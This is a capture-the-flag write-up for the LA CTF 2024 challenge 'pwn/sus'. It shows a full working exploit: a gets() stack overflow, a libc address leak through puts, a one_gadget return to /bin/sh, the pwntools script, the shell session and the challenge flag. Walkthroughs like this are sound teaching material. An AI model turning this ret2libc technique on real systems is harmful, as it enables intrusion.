151 lines
4.2 KiB
Markdown
151 lines
4.2 KiB
Markdown
---
|
|
title: 'LA CTF 2024: pwn/sus'
|
|
date: 2024-02-21
|
|
tags: ['ctf', 'ctf-pwn']
|
|
---
|
|
## Task
|
|
> **pwn/sus**
|
|
>
|
|
> sus
|
|
>
|
|
> `nc chall.lac.tf 31284`
|
|
>
|
|
> [`Dockerfile`](https://chall-files.lac.tf/uploads/369b026196c1309b89ebc31c144b1bfc8ecbd68087b9a7b3063194052d72fa3c/Dockerfile) [`sus`](https://chall-files.lac.tf/uploads/ccb557649d2e9797ab84f9b3b09d2022e85dfeef539fb29250c48e60e2b46653/sus) [`sus.c`](https://chall-files.lac.tf/uploads/138c007539a2766597bcca846c09f53f25a6f2bb2c85ecc1442b0d4c21c46cba/sus.c)
|
|
|
|
- `Author: kaiphait`
|
|
- `Points: 426`
|
|
- `Solves: 136 / 1074 (12.663%)`
|
|
|
|
## Writeup
|
|
|
|
The challenge is a very short program that reads our input and returns:
|
|
|
|
```c
|
|
#include <stdio.h>
|
|
|
|
void sus(long s) {}
|
|
|
|
int main(void) {
|
|
setbuf(stdout, NULL);
|
|
long u = 69;
|
|
puts("sus?");
|
|
char buf[42];
|
|
gets(buf);
|
|
sus(u);
|
|
}
|
|
```
|
|
|
|
We see that the program uses `gets`, so we can perform a buffer overflow.
|
|
|
|
Running the program with `gdb`, we can see that `main`'s stack frame is as follows:
|
|
|
|
```
|
|
rbp - 0x40 | char buf[42]
|
|
...
|
|
rbp - 0x08 | long u
|
|
rbp | saved rbp
|
|
rbp + 0x08 | saved rip
|
|
```
|
|
|
|
To exploit the buffer overflow, we will overwrite the saved return address at `rbp + 0x08` to an address in `libc` that runs `/bin/sh`.
|
|
|
|
But first, we need to leak `libc`'s address. Since `u` is passed as an argument to `sus`, we can control the value of `rdi` when `main` returns, letting us control the first argument of the function we return to.
|
|
|
|
We can overwrite the saved `rip` to return to `puts` and overwrite `u` to the address of the GOT entry of `puts`. This will cause the program to print out the address of `puts` after we return. Then we can write the address of `main` to `rbp + 0x10` to rerun `main` after the call to `puts`, allowing us to send more input once we determine the address of `libc`.
|
|
|
|
So far, our script looks like this:
|
|
|
|
```py
|
|
from pwn import context, remote, ELF, flat, u64
|
|
|
|
context.arch = 'x86-64'
|
|
|
|
p = remote('chall.lac.tf', 31284)
|
|
e = ELF('/tmp/sus')
|
|
libc = ELF('/tmp/libc.so.6')
|
|
p.sendline(flat(
|
|
# padding (buf)
|
|
[0] * 7,
|
|
# overwrite u (for rdi)
|
|
e.got['puts'],
|
|
# padding (rbp)
|
|
0,
|
|
# overwrite rip
|
|
e.plt['puts'],
|
|
# return back to main after leaking address of puts
|
|
e.symbols['main']
|
|
))
|
|
p.recvuntil(b'sus?\n')
|
|
puts_addr = u64(p.recvuntil(b'\n')[:-1] + b'\x00\x00')
|
|
libc_addr = puts_addr - libc.symbols['puts']
|
|
```
|
|
|
|
Now that we know the address of `libc`, we can run `one_gadget` on the version of `libc` the program uses to find a good address to return to:
|
|
|
|
```console
|
|
$ one_gadget /tmp/libc.so.6
|
|
0x4c139 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
|
|
constraints:
|
|
address rsp+0x60 is writable
|
|
rsp & 0xf == 0
|
|
rax == NULL || {"sh", rax, r12, NULL} is a valid argv
|
|
rbx == NULL || (u16)[rbx] == NULL
|
|
|
|
0x4c140 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
|
|
constraints:
|
|
address rsp+0x60 is writable
|
|
rsp & 0xf == 0
|
|
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
|
|
rbx == NULL || (u16)[rbx] == NULL
|
|
|
|
0xd509f execve("/bin/sh", rbp-0x40, r13)
|
|
constraints:
|
|
address rbp-0x38 is writable
|
|
rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
|
|
[r13] == NULL || r13 == NULL || r13 is a valid envp
|
|
```
|
|
|
|
The best option is the third one, since `r13` points to the original `envp` when we return from `main`, and we have control over the values of `rdi` and `rbp`.
|
|
|
|
To meet the first constraint, there is a writable section in `libc` that we can use for `rbp`, starting at offset `0x1d2000`. Now we can add the following to our script and get a shell:
|
|
|
|
```py
|
|
p.sendline(flat(
|
|
# padding (buf)
|
|
[0] * 7,
|
|
# overwrite u (for rdi)
|
|
0,
|
|
# overwrite rbp
|
|
libc_addr + 0x1d2000 + 10000,
|
|
# overwrite rip
|
|
libc_addr + 0xd509f
|
|
))
|
|
p.interactive()
|
|
```
|
|
|
|
Now we run the following commands and get the flag:
|
|
|
|
```console
|
|
$ python sus.py
|
|
[+] Opening connection to chall.lac.tf on port 31284: Done
|
|
[*] '/tmp/sus'
|
|
Arch: amd64-64-little
|
|
RELRO: Partial RELRO
|
|
Stack: No canary found
|
|
NX: NX enabled
|
|
PIE: No PIE (0x400000)
|
|
[*] '/tmp/libc.so.6'
|
|
Arch: amd64-64-little
|
|
RELRO: Partial RELRO
|
|
Stack: Canary found
|
|
NX: NX enabled
|
|
PIE: PIE enabled
|
|
[*] Switching to interactive mode
|
|
sus?
|
|
$ ls
|
|
flag.txt
|
|
run
|
|
$ cat flag.txt
|
|
lactf{amongsus_aek7d2hqhgj29v21}
|
|
```
|